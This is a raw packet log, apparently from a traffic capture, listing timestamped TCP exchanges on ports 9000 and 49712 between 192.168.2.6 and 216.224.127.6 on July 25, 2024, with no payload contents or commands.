Jul 25, 2024 13:23:23.842689037 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.842700005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.842727900 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.842746973 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.843142033 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.843154907 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.843168020 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.843178034 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.843193054 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.843223095 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.844158888 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.844172001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.844183922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.844223976 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.844263077 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.844280958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.844291925 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.844304085 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.844309092 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.844347000 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.900382996 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900410891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900424004 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900434971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900446892 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900458097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900470972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900526047 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.900548935 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900552034 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.900595903 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.900672913 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900685072 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900696039 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900707006 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900721073 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900722027 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.900732994 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900744915 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900757074 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.900774002 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.900796890 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.901227951 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901241064 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901253939 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901264906 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901274920 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901285887 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901297092 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.901297092 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901309967 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901335001 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.901357889 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.901669025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901679993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901691914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901702881 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901711941 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.901715040 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901726007 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901736975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901753902 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901762009 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.901766062 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.901783943 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.901806116 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.902105093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902124882 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902136087 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902147055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902154922 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.902158976 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902170897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902183056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902189016 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.902230024 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.902380943 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902451992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902462959 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902494907 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.902605057 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902616978 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902626991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902640104 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.902648926 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.902671099 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.914103031 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914141893 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914155006 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914179087 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.914212942 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.914293051 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914304972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914319992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914331913 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914354086 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.914376020 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.914518118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914530039 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914541006 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914552927 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914563894 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914568901 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.914593935 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.914787054 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914798975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914817095 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914828062 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914839029 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.914839983 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914850950 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914868116 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914876938 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.914880037 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914892912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.914906025 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.914928913 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.915992975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.916004896 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.916018009 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.916043997 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.916095972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.916107893 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.916119099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.916131020 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.916146040 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.916178942 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.929799080 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.929811001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.929821968 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.929866076 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.929867983 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.929877043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.929888010 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.929899931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.929922104 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.929945946 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.930084944 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930097103 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930108070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930119038 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930130959 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930140972 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.930171013 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.930239916 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930250883 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930262089 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930273056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930288076 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930293083 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.930315971 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.930341005 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.930464029 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930475950 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930491924 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930505991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930514097 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.930553913 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.930587053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930648088 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930659056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930696011 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.930757046 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930768967 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930779934 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930790901 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.930807114 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.930829048 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.932094097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.932142973 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.932218075 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.932229042 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.932267904 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.932307005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.932317972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.932328939 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.932354927 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.932388067 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.932429075 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.988302946 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988322973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988337994 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988370895 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988383055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988389015 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.988394022 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988432884 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.988457918 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.988531113 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988543034 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988589048 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.988920927 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988933086 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988945007 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988956928 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988969088 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988977909 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.988981009 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988992929 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.988997936 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.989005089 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989017010 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989029884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989041090 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989048958 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.989068031 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.989617109 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989626884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989639044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989650011 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989660978 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989665985 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.989672899 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989684105 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989686012 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.989732981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.989764929 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989777088 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989789963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989801884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989811897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989823103 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989833117 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989836931 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.989871979 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.989902973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989914894 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989927053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989938021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.989942074 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.989989042 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.990070105 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.990119934 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.990500927 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.990513086 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.990524054 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.990535021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.990545988 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.990556955 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.990557909 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.990570068 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.990582943 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.990617990 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.991362095 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.991406918 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.992264986 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.992276907 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.992288113 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.992299080 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.992310047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.992321968 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.992326021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.992348909 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.992384911 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.001517057 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001530886 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001543045 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001579046 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001588106 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.001590014 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001601934 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001612902 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001631021 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.001667976 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.001836061 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001853943 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001864910 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001876116 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001885891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001887083 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.001898050 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001910925 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001921892 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001925945 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.001934052 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.001960993 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.001983881 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.002506018 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.002516985 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.002528906 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.002541065 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.002566099 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.002608061 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.003969908 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.003982067 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.003992081 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.004038095 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.004070997 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.004091024 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.004101992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.004115105 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.004128933 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.004172087 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.016447067 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.016508102 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.016510963 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.016522884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.016573906 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.016697884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.016756058 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.016801119 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.016856909 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.016870022 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.016918898 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.016994953 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017005920 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017016888 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017030954 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017041922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017044067 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.017055035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017100096 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.017138958 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.017220020 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017231941 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017242908 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017337084 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.017714977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017765045 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.017772913 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017784119 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017829895 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.017869949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017883062 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017894983 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.017905951 CEST	9000	49712	216.224.127.6	192.168.2.6
